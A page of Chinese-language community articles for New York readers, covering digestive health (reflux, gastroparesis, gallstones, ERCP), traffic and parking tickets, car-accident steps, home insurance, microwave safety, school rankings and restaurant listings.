有些胃食道逆流的患者,每当他出现烧心反酸的症状,服用抗酸药后症状会缓解,因此人们都不太把这当回事(事实上在发生胃食道逆流的时候,胃内的酸性物质进入食道,对食道粘膜造成损伤,时间久了,食道内就容易发生病变,甚至形成肿瘤,这一切都是在不知不觉中发生的)。

因为食道这个管腔是有一定富余度的,稍微狭窄一些是感觉不到的。当你觉得稍微有点堵的时候,只要喝点水,或者把食物嚼得细一点,或吃一点软的,食物还是能够通过食道的。病人一旦发生进食困难的时候,肿瘤已经长得很大了,食道癌已经进入晚期。

因为食道在胸腔里,跟肺、气管紧挨着,周围有很多淋巴结。食道癌很容易发生转移,一旦转移到淋巴结,就不能再进行手术了。

建议经常烧心、反酸的朋友尽早去看肠胃科医生,把胃食道逆流的问题控制住,预防食道癌的发生。

2021-05-01 / by / in
腹胀?打嗝?你可能得了胃轻瘫!听听纽约肠胃科专家荆彤医生怎么说

可能很多人没有听说过“胃轻瘫”这个词。胃轻瘫的症状是:吃东西容易腹胀,吃一点就觉得饱了,好像胃里的食物不往下走,有的甚至返出来;经常打嗝,打出的嗝很酸很臭。

我们平常给病人做胃镜检查时,要求病人空腹8个小时后再来做胃镜。为什么要空腹8个小时呢?因为经过长期的实践,人们发现经过8个小时的禁食,胃内基本上能达到排空的状态,不管之前吃的是哪种食物。但是胃轻瘫的病人经过8小时空腹后来做胃镜,发现胃里边还有很多食物。这种情况就叫做胃轻瘫。

大家知道,胃就像一个搅拌器。胃内的食物,经过胃的收缩搅拌,变成食糜进入小肠进行吸收。正常人的胃搅拌能力特别强,而胃轻瘫的患者胃的搅拌能力变弱了。这就造成患者吃一点东西就有饱胀感,因为胃里的东西不往下走了。

造成胃轻瘫的原因很多。比较常见的是有糖尿病病史的人易患胃轻瘫。支配胃蠕动的是一些交感神经。糖尿病的病人如果长期血糖控制不好就会对交感神经造成损伤。交感神经的损伤会引起胃的蠕动减少。所以有糖尿病的朋友一定要注意按时吃药,把血糖控制好。

还有一些肿瘤病人也会有胃轻瘫的问题。要根据不同的原因把胃的蠕动性调节好,才能让食物顺利的得到消化。

2021-05-01 / by / in
这些交通罚单会让你的汽车保费大涨,在纽约开车,这些驾驶习惯要避免
文|无疆行者

和任何一个公司一样,汽车保险公司都想要努力保持盈利。所以他们会查看保户的驾驶记录,使用不同的组合算法 (Rating Factors) 来评估投保人的风险高低,为他们认为较高风险的人设置较高的费率。根据不同的情况,有的保险公司甚至会拒绝受理一些人的保单。

所以发生越多起车祸或是拿到较多的交通罚单就很可能会让你的汽车保费大涨。

如果你想维持较低的保费,就请您保持良好的驾驶记录,尽量避免拿到以下这些罚单。

驾驶中打电话

在开车的时候使用手机,可能会被扣5点,让你的年度保险金额提高 19%,相当于平均约 $288。三年就会涨了 $864 左右。

超速和stop sign

如果你开车超速被拍到,超速1-10迈扣3点,11-20迈扣4点,21-30迈扣6点,31-40迈扣8点,

违反stop sign可能会被扣3点

超速罚单本身就不便宜,而且超速罚单可能会让你的年度保险上涨约 $341,也就是三年就要多涨约 $1,000。

在一些情况下,一张超速罚单将可能导致您的驾照被停牌(Suspension)或撤销(Revocation)。

酒驾或是药物影响下驾驶

酒驾或是吸毒嗑药之后驾驶,法官会根据不同程度来处罚。保险金额可能会上涨近 74%,或是一年 $1,086 左右。

在纽约,酒后驾驶的惩罚是非常严重的。包括终身的刑事记录,驾照吊销,高昂的罚款,甚至入狱。

酒驾开出的粉单属于刑事罚单,基本是不能直接寄张支票交罚款的。都需要本人或律师代替出庭。

车祸责任方

如果你在一场车祸是有责任的那一方,你的汽车保险可能会上涨 42%,也就是一年约 $617,三年约 $1,800。

没系安全带

开车没系安全带的罚金不是最高的,不过每年保费也可能要上涨约 $60,等于三年约 $173。

闯红灯

如果闯红灯被照相拍到,将会收到罚单,可能会被扣3点,同时保险可能会上涨 22%,也就是一年约 $330,因此三年就会上涨约 $1,000。

在纽约市普通的黄色罚单法庭罚款基本上是138美金,如果同种性质的违规再犯,罚款就更高。除此以外,纽约的交通局还有一项规定,一旦累计点数达到6个点,交通局还要强制增收300美金责任税,多一个点多75美金。

拿到罚单后应该怎么办?

拿到交通罚单后,一定不能置之不理。法庭会认为你是藐视法庭,会下通缉令逮捕您。如果您是在开车时被警察逮住了,那您就会直接被关起来。

如果你认罚则要在规定时间内交罚款,并到交通学校上课消除点数。这样保费就不会连续上涨三年了。减点课不保护或取消因为酒后、吸毒及十八个月内的三次超速违规。违规减点课每十八个月只可减一次点。

如果不服处罚,有合理的理由可进行书面抗辩或上庭抗辩并按抗辩结果处理罚单。

上庭的话,法庭一般不会提供翻译,如果有需要的话要自己带翻译,没有执照也没有关系,自己的小孩或朋友英文好就行。

本文章的内容不能被理解为是在提供法律专业意见。

请咨询纽约资深交通律师:

纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

2021-05-01 / by / in , , , , ,
2021纽约最好高中Top10 在全美国排名

纽约州有1,218所高中,纽约最好的高中是哪一家?《美国新闻与世界报导》(US News & World Report)近日公布了2021年全美24,000所公立高中的排名。今年,纽约州排名第一的依然是汤森哈里斯高中(Townsend Harris High School)。

位于法拉盛的汤森哈里斯高中全美排名12,这所学校毕业率达100%,大学准备分数为97.4。

纽约地区排名前10的高中

  1. 汤森哈里斯高中 Townsend Harris High School
  2. 布鲁克林科技高中 Brooklyn Technical High School
  3. 纽约城市学院数理工程高中 High School Math Science and Engineering
  4. 皇后区约克学院科学高中 Queens High School for the Sciences at York College
  5. 布朗士科学高中 Bronx High School of Science
  6. 史坦顿岛技术高中 Staten Island Technical High School
  7. 史岱文森高中 Stuyvesant High School
  8. 美国研究高中 High School of American Studies at Lehman College
  9. 布鲁克林拉丁高中 Brooklyn Latin School
  10. 亚洲研究双语高中 High School for Dual Language and Asian Studies

如果想了解这些学校在全美排名情况,学校所处地区,以上高中的毕业率和大学入学准备分数等详细信息,可以参考以下学校详情。

排名分析

学校介绍

汤森哈里斯高中

汤森哈里斯高中Townsend Harris High School,是一所位于法拉盛的公立高中。在2021年“美国新闻”全美公立高中排名为12,纽约州公立高中排名第1。汤森哈里斯中学一直被列为美国百强高中之列。

在汤森哈里斯高中,学生有机会参加Advanced Placement课程和考试,该校的AP参与率为100%。学校的科学系被英特尔评为全国最佳的高中课程。目前学生注册人数为1,183名。

《美国新闻》与全球研究机构RTI合作,对全美高中的排名会考虑学校的多项因素并进行综合评估。比如,大学准备程度指标(指12年级学生至少要在一项AP或IB考试中获得合格分数),数学和阅读能力,数学和阅读表现,大学课程范围和毕业率等。此次高中排名数据来源于2018-2019学年,因此不受Covid-19疫情影响。

Townsend Harris High School 汤森哈里斯高中 718-575-5580

 

纽约城市学院数理工程高中

纽约城市学院数理工程高中High School Math Science and Engineering,位于纽约城市学院校园内。学校成立于2002年,重点为工程和设计,学校注册学生人数为490名,是一所小型学校。学校实施小班化教学,每班人数不超过24人。

作为一所专业高中,学校除了严格的数学,科学和人文核心课程外,所有学生到11年级都必须参加由Project Lead the Way项目资助的至少三门工程核心课程。在2021年“美国新闻”全美公立高中排名为28,纽约州公立高中排名第3。

纽约城市学院数理工程高中212-281-6490

布鲁克林科技高中

布鲁克林科技高中Brooklyn Technical High School,是美国最大的科学、技术、工程和数学专业公立高中。目前注册学生人数达5,934。布鲁克林科技高中被“美国新闻”和“Newsweek”评选为年度“金牌”学校。布鲁克林科技高中以现代技术为核心,营造吸引学生的科技环境,学校设有达到大学要求的课堂和实验室。

“美国新闻”公立高中排名中,布鲁克林科技高中为纽约州公立高中排名第2,全美公立高中排名12。

Brooklyn Technical High School布鲁克林科技高中 718-804-6400

 

皇后区约克学院科学高中 718-657-3181

布朗士科学高中Bronx High School of Science 718-817-7700

 

史坦顿岛技术高中718-667-3222

史岱文森高中 Stuyvesant High School 212-312-4800

美国研究高中High School of American Studies at Lehman College718-329-2144

Brooklyn Latin School布鲁克林拉丁高中 718-366-0154

纽约亚洲研究双语高中212-475-4097

 

 

 

2021-05-01 / by / in ,
美国纽约停车罚单最多的十大地点 如何避免停车罚单

文|雨荷

纽约停车罚单几乎是人人都会遇到的事情,RentHop的员工已经从NYC Open Data收集了数据,在2015年,纽约市一共开了超过1000万的停车罚单。如果您不想收到罚单,那就认清10个最危险地点。以及避免在纽约获得罚单的有效方法。

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男子开车 示意图。

以下是纽约市罚单最多的十大地点:

1.史泰登岛购物中心(2655 Richmond Ave, Staten Island – Staten Island Mall)

地址:史泰登岛里士满大街2655号

罚单:4,668张

2. BellTell Lofts的MetroTech Center(365 Bridge St, Brooklyn- MetroTech Center, BellTell Lofts)

地址: 布鲁克林布里奇街365号

罚单:3,374张

3.纽约长老会医院员工住房(1330 1st Ave, Manhattan – New York Presbyterian Hospital Employee Housing)

地址: 曼哈顿第一大道1330号

罚单:2866张

4. Packer学院(170 Joralemon St, Brooklyn – The Packer Collegiate Institute)

地址: 布鲁克林Joralemon Street 170号

罚单:2335张

5.曼哈顿水果交易所,切尔西市场(448 W 16th St, Manhattan – Manhattan Fruit Exchange, Chelsea Market)

地址: 曼哈顿西十六街448号

罚单:2,239张

警察开罚单 示意图。

6. 101-99沃伦公寓大楼和购物中心(99 Warren St, Manhattan – 101-99 Warren Condo Complex and Shopping Center)

地址: 曼哈顿沃伦街99号

罚单:2,049张

7. 里士满大学医学中心(355 Bard Ave, Staten Island – Richmond University Medical Center

地址: 史泰登岛巴德大街355号

罚单: 2,022张

8.北岸LIJ医疗集团(95-25 Queens Blvd, Rego Park – North Shore LIJ Medical Group,1901)

地址: 雷哥公园皇后大道95-25号

罚单:1,901张

9. Verizon Wire Center(82-23 Broadway, Queens – Verizon Wire Center)

地址: 皇后区百老汇82-23号

罚单: 1,788张

10.桥干洗店(204 Livingston St, Brooklyn – Bridge Dry Cleaners)

地址:布鲁克林利文斯顿街204号

罚单: 1,759张

纽约州法律要求所有人在签发日期后30天内应对违章停车和违反红灯的行为。如果您不通过这30天,则可能会产生额外的罚款、利息等。如果您不同意该票证,则可以提出异议,也可以选择对该决定提出上诉。

罚单 示意图。

这些是避免在纽约获得罚单的有效方法:

• 记住您的时间限制,永远不要超时。

• 将仪表收据正面朝上放在仪表板上。

• 当同一区域中存在多个停车标志时,请听从限制性最强的停车标志的建议。

• 保持您的注册和保险最新。

• 将汽车停在距离消防栓至少15英尺的地方。

• 了解不停车,不站立和不停车标志之间的区别。

• 切勿将车辆停在人行横道或指定自行车道上。

当您获得罚单时,请记住,参加交通学校是减少付款并表明您是安全驾驶员的好方法。

因此,如果您想了解更多有关减少机票付款和罚款的信息,请考虑从Myimprov.com参加防御性驾驶课程。

小编为您推荐专业律师团队如下:

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2021-04-30 / by / in , , , , , ,
在纽约发生车祸该怎办?纽约交通事故正确处理流程 车祸律师教你安心

文|雨荷

车祸是一个令人震惊的事件,纽约市每天都会发生车祸。根据纽约警察局2019年12月的报告,全市发生了近17,000起机动车事故。这些事故中有很多起涉及受伤或死亡。

遭受车祸后,即使轻度碰撞的事故,各种麻烦都会迎面而来。车祸受害者面临很多困难,可能因为受伤,而导致的工资损失或意外的医疗费用。车祸律师教你怎么保护自己的合法权利,以及纽约交通事故的正确处理流程。

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车祸后的注意事项 

发生车祸后不要惊慌,虽然不知道其后果是什么。首先应照顾好您和事故中的人是当务之急。但是您最好在发生汽车碰撞后,您应该了解哪些事情。

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发生车祸后 示意图。

下面是车祸发生后应该做的事情:

1.停止

首先切勿开车离开事故现场,即使是很小的事故。发生汽车碰撞后,一定要留在现场。纽约州法律规定,驾驶员必须留在事故现场。不要在警察到来之前挪动您的车辆。即使您对现场已经拍了照片也要让警察亲眼看过以后才挪动车辆。

2.保护场景

您可以通过设置照明灯或保持闪光灯的开启来防止进一步的事故。如果天黑了并且灯光不亮,您应在残疾人车道边上等待,应该有灯光以确保您的安全。

3.不要避免与警察交谈

即使在看似很小的事故,也应随时报警,请致电911并报告事故。以便警察检查并记录事故现场所有信息,方便以后采取法律行动。警察的报告包含驾驶员违章行驶有关的所有信息,或与潜在法律案件有关的其他重要信息。

您需要获取警察报告,并获取警察的姓名以及徽章编号,还有警察报告号码。 通常警察录完口供之后会给一个卡片,上面说明了Police Report出来的日期,您会被要求到指定的警察局领取Police Report,这张卡片很重要。如果警察报告有错误,一定要告诉律师,律师会和警方交涉,确保警察报告内容符合事实。保护您的索赔利益不受影响。

4.进行准确的记录

当警察到达时,把保险卡和驾照交给警察,请如实的告诉调查人员发生了什么。如果您不知道某些事实,请告知该人员。不要猜测或推测,更不要故意错误陈述任何事实。如果询问您是否受伤并且不确定,请说不确定。通常,在实际碰撞后数小时内,由汽车事故引起的痛苦和伤害就变得显而易见。

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警察到达 示意图。

5.拍照

拍摄尽可能多的事故视频和照片,造成汽车损坏,打滑痕迹,护栏损坏,树木或其他相关细节。将来会被用作解决出现的任何冲突的证据。如果您身体有明显的外伤,也应该给这些外伤拍照。但是,您绝对不应干涉正在进行调查的警察。如果您无法在事故现场拍照,请在事故发生后尽快拍照。

6.询问信息

如果事故现场有任何证人,肯请他们提供姓名和联系信息以便提供给警察,和进行彻底的调查;向对方车辆的驾驶员询问保险信息,问驾驶员的名字,地址,电话,驾照号码,车牌号码和保险公司名字。如果车上有其他人员,也可以获取他们的详细信息。

7.说话的人要小心

切勿与对方驾驶员的律师,或者对方的保险公司人员说话。也不要和对方保险公司签署文件,后果会很严重,容易对索赔造成灾难性影响。更不要和对方保险公司私了,往往私了只能拿到真实赔偿的1%-5%。让您的律师处理这些对话。您最应该做的就是与对方驾驶员交换保险信息。

8.切勿承认有过错

即使您认自己可能是造成事故的原因,仍然不要承认有过错。您可能不了解其他驾驶员周围的其他疏忽情况。让调查人员和您的交通事故律师,来确定谁是车祸的罪魁祸首。如果您有权获得赔偿或面临任何责任问题,则您的车祸律师可以提供帮助。

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车祸律师 示意图。

发生事故后,尽快就医。常见的车祸伤害类型

1.脑震荡或外伤性脑损伤(TBI)

2.颈部,脊髓或背部受伤

3.骨折

4.神经,肌肉和组织损伤

5.内脏器官损害

6.变形或割伤

7.麻痹

去医院就医一定要留着各种单据,所有细节需要记录在案,需要证明您的治疗方法,造成了暂时或永久性伤害。车祸中造成的伤害可能是严重的,也许会导致终身的痛苦。您需要保留这些证据给保险公司和法院提供。

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医疗救助 示意图。

纽约是一个无过失的保险州

纽约是无过失车祸保险的州,事故受害人将由自己的保险公司承担医疗花费,而无需考虑谁是事故责任方。车祸律师可以帮助您收到您应得的,并保护您的权益。

遭受人身伤害或残疾的事故受害者在纽约州认为是“严重伤害”的程度,您可以向过失驾驶人追索额外的赔偿。如果您的伤害符合,您有权获得超出保险公司根据该州“纯粹的比较过失”规则提供的赔偿之外的其他赔偿。

纽约时效法

事故发生后很明显可以观察到伤害。但是,在某些情况下,车祸中造成的伤害不是立即可见的。纽约州的“时效规约”。对于车祸,这是自事故发生之日起的三年。如果是不法死亡,则纽约的时效法令自该人死亡之日起两年。

并非所有伤害都可以立即看到,有些症状(例如与脑外伤相关的症状)需要时间才能出现。您的病历中包含的有关您的病情和事故周围情况的信息越多越好。这样,如果您的受伤情况确实比您最初想象的要糟,您就需要证据证明您的受伤与车祸直接相关。

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史蒂文律师楼Steven Louros ,ESQ(Tel:212-481-5275 Fax:212-481-3472)

2021-04-28 / by / in , , , , , , , , , ,
美国房屋保险Home Insurance详解 如何降低保费?

文|无疆行者

房屋是您价值最高的资产吗?相信很多朋友的回答是肯定的,毕竟买房子是一笔很大的投资了。但这样重要的固定资产也面临遭受火灾、飓风、盗窃、别人故意毁坏的可能。虽然美国还没有法律规定要求购买「房屋保险 Home Insurance」,但购房人如果需要贷款,银行会要求购买房屋保险。很多人即便现金一次付清房款,也会主动购买房屋保险来保护自己的重要资产、规避风险。

本文行者为大家详细介绍有关美国房屋保险的内容、类型、理赔范围以及降低保费的技巧。

一、通常房屋保险包括的内容

1.受灾后赔偿给屋主或贷款银行的部份。

2.房屋本身/内部装修,包括房屋本身、围墙、车房、车道、泳池等。如果房屋发生火灾,或因大风倒塌,保险公司会赔偿你人工费和物料费,并尽可能修葺为受损前的规格。

3. 私人财物,包含家具、衣物、电器、书藉、收藏、文件等。有些人会忽略这一点,觉得这些东西不值钱。其实如果把所有物件的价值加起来,金额一定会超出你的意料。

4.修复期生活开支:如果房屋因各种原因受损导致生活不便或不能居住,在修复期间,保险公司会承担相应的生活开支,包括短期的酒店居住或租房费用。

5. 屋主意外责任险,保障屋主或来访客人在房屋室内外发生意外时,可提供赔偿。

二、房屋保险政策类型

在美国,常使用的房屋保险政策有以下几类(下面的HO是Home Owner缩写):

HO-1基本险(Basic Coverage)
基本险的保赔范围包括:因火灾、雷击、烟薰、风灾、冰雹、抢劫、偷窃、爆炸、玻璃破碎、飞机、汽车、暴乱、骚动及故意破坏对房屋造成的损坏。
同时也保赔遭受危害过程中人体受伤、损坏他人财产、律师费、医药费、室内个人财产、房屋损坏后的额外住房生活开销。

HO-2扩充险(Broad Coverage)
除了HO-1,加保因电击、冰雪重压、水管冻坏、天空落体、热水器或空调系统断裂烧坏、室内漏水造成的损坏。

HO-3全保险(Special Form)
这是大众最普遍购买的房屋保险类型。除了HO-1和HO-2之外,全保险还加保除了战争、核灾、水灾、地震、地陷以外的几乎所有内容,也保赔客人在室内外发生的意外、路人在室外发生的意外、宠物咬伤人后的赔偿医药费、律师费等。

HO-4房客险(Tenant’s/ Renter’s Policy)
保赔出租房产室内的房客个人财产。
因为当屋主把房子作为出租使用时,一般只会对他自己的财产进行保险(毕竟多保一样东西就多花一点钱),所以租客需要购买一份房客险来保障自己的利益。

HO-6公寓险(Condominium Coverage)
保赔公寓屋主和室内个人财产、客人路人在室内外的事故、火灾、盗窃、漏水的损失。屋主需仔细阅读公寓业主(HOA)章程来决定须构买的保险费额。
很明显公寓的保险范围会比独栋别墅的要少,保费也会相应低一些。

HO-7活动房险(Mobile Home Coverage)
适用于活动房屋主的房屋保险。

HO-8老房险(Older Home Policy)
HO-8的保险范围和HO-1类似,主要是给年代久远的老房保险,由于老房子的市场价要低于重建价格,老房险允许屋主以低于重建价格的市场价来保险。

三、不同房屋选择哪类保险?

房屋保险政策有好多种,那么究竟该买哪一类呢?

独立房(Single Family House)购买HO-3

屋主拥有整栋房子、地基和地块所有权,因此要对这一切负责。
在房产估价报告(Appraisal Report)中的Cost Approach里有一栏「Total Estimate of Cost-New」,是估计重建此房要多少钱。贷款银行要求的保额是贷款额和Total Estimate of Cost-New中较低的那一个。建议根据Total Estimate of Cost-New购买。

连排屋(Townhouse)购买HO-3

Townhouse屋主的所有权与责任权跟Single House相似。若有业主委员会(HOA)则须提供业主委员会的保险信息。

公寓屋(Condo)购买HO-6

通常贷款银行会要求提供HO-6及Master/HOA Insurance。若Condo的Master Insurance除了公共区域外,也包含房屋内部的保险,那就不用再单独购买HO-6了。

四、房屋保险的索赔申报及注意事项

申报损失

美国的房屋保险理赔是需要在一定时间内自己主动申报的,这个期限一般为房屋发生损失的60天之内,需要填写“损失证明”交给保险公司,在损失证明中需要详细地列出各种损失项目及其价值,日后保险公司将会来审核。

注意房屋保险理赔的事项时限

√ 需要在损坏发生的60天之内向保险公司递交损失证明表;
√ 在保险公司发出估价通知后的20天内选好估价员;
√ 如果对保险公司的理赔存在异议,必须在损害发生的12个月内提出诉讼;
√ 空置的建筑物在损失发生时投保时间若未满60天,保险公司将不予以受理。

五、我该怎样降低保费?

1.提高自付额(deductible)
对于每一个房屋保险项目,投保者都可以自己选择合适的自付额,当意外灾害发生时,你先支付自负额,然后保险公司再负责自负额以外到保额的那部分,自负额越高保额自然就会越低。

2.加强抗灾力
比如,换新的电气设备,以减少房屋着火的风险,采取防震措施,以降低震后损失的程度。若你住在飓风多发地区,则安装防雨百叶窗,给屋顶装防雨板,加固地板墙壁等一些抗风防水措施,都有助于减少保费。

3.加强安保
通常保险公司会给安装烟雾探测器、防盗铃、防盗锁的房屋提供至少5%的保费折扣。一些公司在你安装了较精致的自动喷水灭火器、直通警局消防局的火警及防盗铃后,甚至提供15%至20%的折扣。

4.减去多余项目
每年评估一下保单,去掉不必要的投保项目。当然不要减到不足以保护你的房屋和财产。

5.拆除旧建筑
保单可能也包括地皮上住宅外的其他楼房,从而拉高了保费。如果本来就是废弃的建筑,何不干脆拆掉?

6.清除周围植物
住在野火频发地区的屋主,应除掉自然易燃物,在住宅周围留有空地。

7.合并保险
把你在别家公司买的保险转到同一家公司。比如把汽车险,一些责任险转到屋主险所在公司。一些公司对在他们那里购买两种及以上保险的投保人提供5%至15%的折扣。

8.索赔前三思
多番索赔可能推高保费。如果只是小数额,可权衡是否就自掏腰包,长远来看实则是省钱的。

9.去掉地价
看看是否保单里也涵盖了地皮,如果是,在充分知晓风险的前提下,去掉它。因为地皮不会失窃、被刮走或烧掉,往往是地皮上的房屋和屋内的对象可能受损要恢复。

10.看是否靠近紧急服务
保险公司可能给靠近消防栓、消防站等救援服务的房屋一点保费折扣。假如你家着火,附近1.5英里处有一家消防站跟12英里外有一家完全是两回事。而消防队是公家的还是志愿者团体也对保费有影响。


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2021-04-28 / by / in , , , , , , , ,
微波炉有辐射危害吗?使用微波炉的4个小秘诀,这些食物,不能放进微波炉加热
文|无疆行者

微波炉是一个很伟大的发明,给我们的生活带来了很多的便利,如今,微波炉已经成为了很多人厨房里必不可少的炊具。但是也有些人会有疑问,使用微波炉安全吗?会不会有辐射危害?使用微波炉要注意些什么呢?

微波炉辐射对人有危害吗?

其实,微波炉的“辐射”是属于低频的微波,仅是使水分子振动产热,进而加热食物。微波炉是封闭的,把微波隔绝在里面不会跑出来,很安全。

其微波频率不足以破坏分子链和原子结构,也不会对人体细胞DNA产生危害。

美国食药管理局(FDA)指出,除非微波炉的门锁或密封条损坏,否则不用担心微波会泄露并对人产生伤害。FDA还建议,作为预防措施,使用微波炉的时候不要倚靠在上面。

使用微波炉造成的伤害,一般是使用了不当的加热容器、放进不能微波的食物,可能会造成烫伤、毒素释出等风险。

1.不能放入微波炉的容器和物体:有颜色的塑胶容器、金属锅及铝箔、保鲜膜、美耐皿、有金属边的容器。

五颜六色的容器、普通塑胶容器、美耐皿餐具和保鲜膜经高温加热,容易释放出有毒物质。

能放入微波炉的容器,以玻璃、陶瓷或可耐热塑胶(PP聚丙烯,塑胶回收辨识码为5号)为主。

一般超商的微波食品已选用耐热塑胶容器,但加热前应注意外包装标示的耐热温度、微波符号及材质标示等,避免过度加热而超过塑胶材质的耐热温度。

不要用金属容器,因为放入炉内的铁、铝、不锈钢、搪瓷等金属器皿,微波炉在加热时会与之产生电火花并反射微波,既损伤炉体又做不熟食物,严重的还容易引发火灾。

2. 不能放入微波炉的食物:带壳、带皮、有膜、密封包装的食物。

栗子、葡萄、鸡蛋、及盒装牛奶等食物,经微波炉加热会爆开。

尤其是鸡蛋,常传出微波后爆开的事件。带壳生鸡蛋、带壳水煮蛋、外壳破裂的水煮蛋和无壳水煮蛋放入微波炉加热,都会在炉内爆开,只是炸开威力大小不同。

微波有膜、带壳、带皮及密封包装的食物,一定要戳洞或撕开一个缝,让热气可以散出来。例如,蛋黄外有层膜,微波荷包蛋时要先戳破。

特别要注意:

● 已经用微波炉解冻的肉类,如果你想要再放入冰箱冷冻,必须加热至全熟。

● 食品放入微波炉解冻或加热,你如果忘记取出,时间超过了两个小时,就要丢掉,以免引起食物中毒。

使用微波炉的4个小秘诀

平时使用微波炉,除了留意容器与食物,还有些小秘诀可以让人更安全的使用。

1. 加热食物的过程,中间要拿出来搅拌一下。

用微波炉直接加热,食物容易受热不均,因此需要经过加热、搅拌,再次微波到要的热度,这样才能杀死细菌。加热隔夜菜更应如此。

2. 份量多的汤品用火煮沸。

500毫升以上的汤品,只能倒入锅子用火煮沸或用电锅彻底加热,因为水量多的汤无法用微波彻底杀菌。

3. 避免将水加热过久,也不要盛装太满。

微波过久的水,在杯中看似平静,但取出时晃动一下,会使水会突然沸腾、甚至喷发。这种现象称为“突沸”,容易造成烫伤。

牛奶或汤等“有杂质”的液体,因结构被破坏,不易发生这类现象。要微波水,就不能加热过久、装太满。加热前可先稍微搅拌,或在水中添加即溶咖啡粉或糖等物质,可降低突沸的风险。

4. 微波时加盖,并随时清洁。

微波时,建议为容器盖上可微波的盖子,并留一点缝隙,以免食物四处喷溅在炉壁上,尤其是容易溅油的食材。

微波炉用完要随手清干净,若有食物残渣附着在炉壁上,不仅容易长菌,每次重复加热,还会让食物残渣干硬掉而产生有毒物质。

清洁方法是用湿抹布擦拭或是放进一碗水稍微加热,让水蒸气附在炉壁里面,再彻底擦干净。擦完后,把盖子打开,让里面的水汽散开、干掉再关起来。

 

2021-04-28 / by / in , , , , ,
世界最佳美食评选| 亚洲美食超三成 中国名菜上榜 在纽约都能尝到

CNN travel网站最近发布了世界最佳50种美食榜单。中国名菜北京烤鸭排名第五,有18种亚洲美食上榜。里面有你喜欢的美食吗?在纽约都能尝到吗?

这次评选,榜首依然是泰国料理玛莎曼咖喱(Massaman curry)。这道泰国菜已经连续10年蝉联美食冠军。这道咖喱究竟有什么奇特之处呢?

评选者把泰国的玛莎曼咖喱描述为“咖喱之王”、“美食之王”。玛莎曼咖喱的味道甜、辣、鲜,并配合浓浓的椰浆香味,是白米饭的绝佳拍档。即便是在超市购买的现成酱包,也可以让不会做菜的人让这道菜像出自米其林厨师之手一样美味…总之,评选者对玛莎曼咖喱是赞不绝口。一道菜能够连续10年蝉联榜首,想想就知道有多美味了。

除了这道味道浓醇的玛莎曼咖喱,泰国经典的冬阴功汤(Tom yum goong)排名第8。

 

还有泰国的青木瓜色拉(Som tam),排名第46位。

中国名菜北京烤鸭排名第5。北京烤鸭以炭火慢慢烤制,外皮酥脆,配上薄饼和蘸酱。绝对配得上世界美食的美誉。

再来看一下日本料理。日本有3道美食上榜。日本寿司(Sushi)排名第4。日本寿司即可以当点心也可以当正餐,白米饭和各种海鲜搭配,在寿司师傅的巧手下可以设计出不同的颜色和形状,即养眼又美味。难怪会受到全世界人的喜爱。

另外,日本的近江牛肉(Ohmi-gyu beef steak)排名29,安康鱼肝Ankimo排名32。

亚洲美食上榜的还包括马来西亚槟城亚参叻沙(Penang Asam Laksa),印度尼西亚牛肉咖喱(Rendang), 印度的黄油蒜蟹(Butter garlic crab), 菲律宾烧乳猪(Lechón),  越南米粉(Pho)及 越南夏卷(Goi cuon)。

不知道这些上榜美食里面有没有您喜欢的呢?身在纽约可以尝到世界各地的美食,华人朋友喜欢亚洲料理的可以尝试以下的推荐餐馆。

德益坊北京烤鸭店 Deyi Peking Duck House德益坊北京烤鴨店718-539-3066, 718-539-3061

马来槟城餐馆Penang Malaysian Cuisine732-287-3038

纽约最好吃的寿司店 /浪花寿司/法拉盛寿司餐馆718-321-3047

The Nuaa 泰国餐厅 (212) 888-2899

masala box马萨拉盒品(印度餐厅)718-281-2699

 

巴士多越南餐館 NEW PASTEUR RESTAURANT(212)608-3656

打开链接,可以找到更多选择:

韓餐https://www.jinlisting.com/韩餐推荐/

中餐https://www.jinlisting.com/listings/foods/american-chinese/

东南亚餐馆 https://www.jinlisting.com/listings/foods/east-aisa/

日式餐馆 https://www.jinlisting.com/listings/foods/riben/

 

 

 

2021-04-28 / by / in ,
腹腔镜/内窥镜/ERCP在肝胆疾病治疗方面的应用   纽约肠胃科专家荆彤医生谈消化科手术新趋势

随着内窥镜技术的不断发展,传统的大创面手术逐渐被微创、无创手术所取代。纽约肠胃科专家荆彤医生在这里要为大家介绍一下腹腔镜技术在肝胆疾病治疗方面的应用。

消化科手术的趋势是进行微创、无创手术,尽量减少病人的损伤。这样病人恢复得快,创伤小,对生活影响少。目前胆囊切除可以使用腹腔镜,在肚子上打一、两个孔,就可以把胆囊切掉了。现在很多时候把做胆囊切除都变成了门诊手术,病人不需要住院。手术完成后观察一个小时,病人如果没什么事就可以回家了。

在消化科有一种急症叫急性胆管炎,就是病人的胆结石进入胆管,造成胆管堵塞,使胆汁回流进入肝脏,通过肝脏进入血液。因为胆汁不是无菌的,它里面含有细菌。一旦细菌进入血液中,就会形成菌血症,也叫败血症。病人会有高烧,剧烈疼痛的感觉(胆管堵塞造成的疼痛),有时会出现休克,甚至会有生命危险。这种时候,我们会给患者做ERCP,这是一种比较复杂的手术,但是创伤很小,学名叫胃内胃十二指肠经胰胆管逆行造影手术。通过ERCP内镜逆行造影术把堵在胆管里的石头取出。这项手术对医生的技术要求很高,只有少数经过特殊训练的肠胃科医生才能做这种手术。(荆彤医生就是能实行这项手术的少数医生之一)

手术取出结石后,病人败血症的症状会得到控制,身体很快就会恢复健康。

2021-04-27 / by / in
如何区分胃痛和胆结石?纽约肠胃科专家荆彤医生告诉您

有些病人因为腹痛去做超声检查,发现有胆结石,但胆囊切除后腹痛仍无好转。纽约肠胃科专家荆彤医生建议您:在做胆囊切除前最好再做一个胃镜检查,您的腹痛很可能和胆结石无关!

胃痛和胆结石是不好区分的。有的病人可能会想,在解剖图上,胆在右,胃在左,那么右边痛就是胆或肝有问题,左边痛就是胃病。实际上这两个器官在腹腔内是挨着的,不像解剖图上画的那么远。解剖图上为了能让人看得清楚,把他们的位置移得比较远。

有很多腹痛病人因为痛的厉害,到了医院要看急诊。一般急诊医生会先给病人做超声检查。超声波对胆结石很敏感,很容易发现胆结石。但胆结石并不一定会造成腹痛。70%的胆结石病人一辈子都没有感觉,如果不做检查都不知道自己胆里面有石头。

有些腹痛病人因为发现了胆结石去接受胆囊切除手术时,这个外科医生如果是很小心谨慎的话会把病人介绍给肠胃科医生,做个胃镜,确保病人胃里边没有问题,比如说胃溃疡、十二指肠这些问题。超声检查表象是胆里面有石头,但是不是这个胆结石引起的腹痛还不一定。我接触过这样的病人,不久前因为腹痛把胆切掉了,但仍然没有解决腹痛的问题。

建议有腹痛问题的患者要做胃镜、超声、CT这些检查,综合一下再最后判断是什么原因引起的腹痛。

 

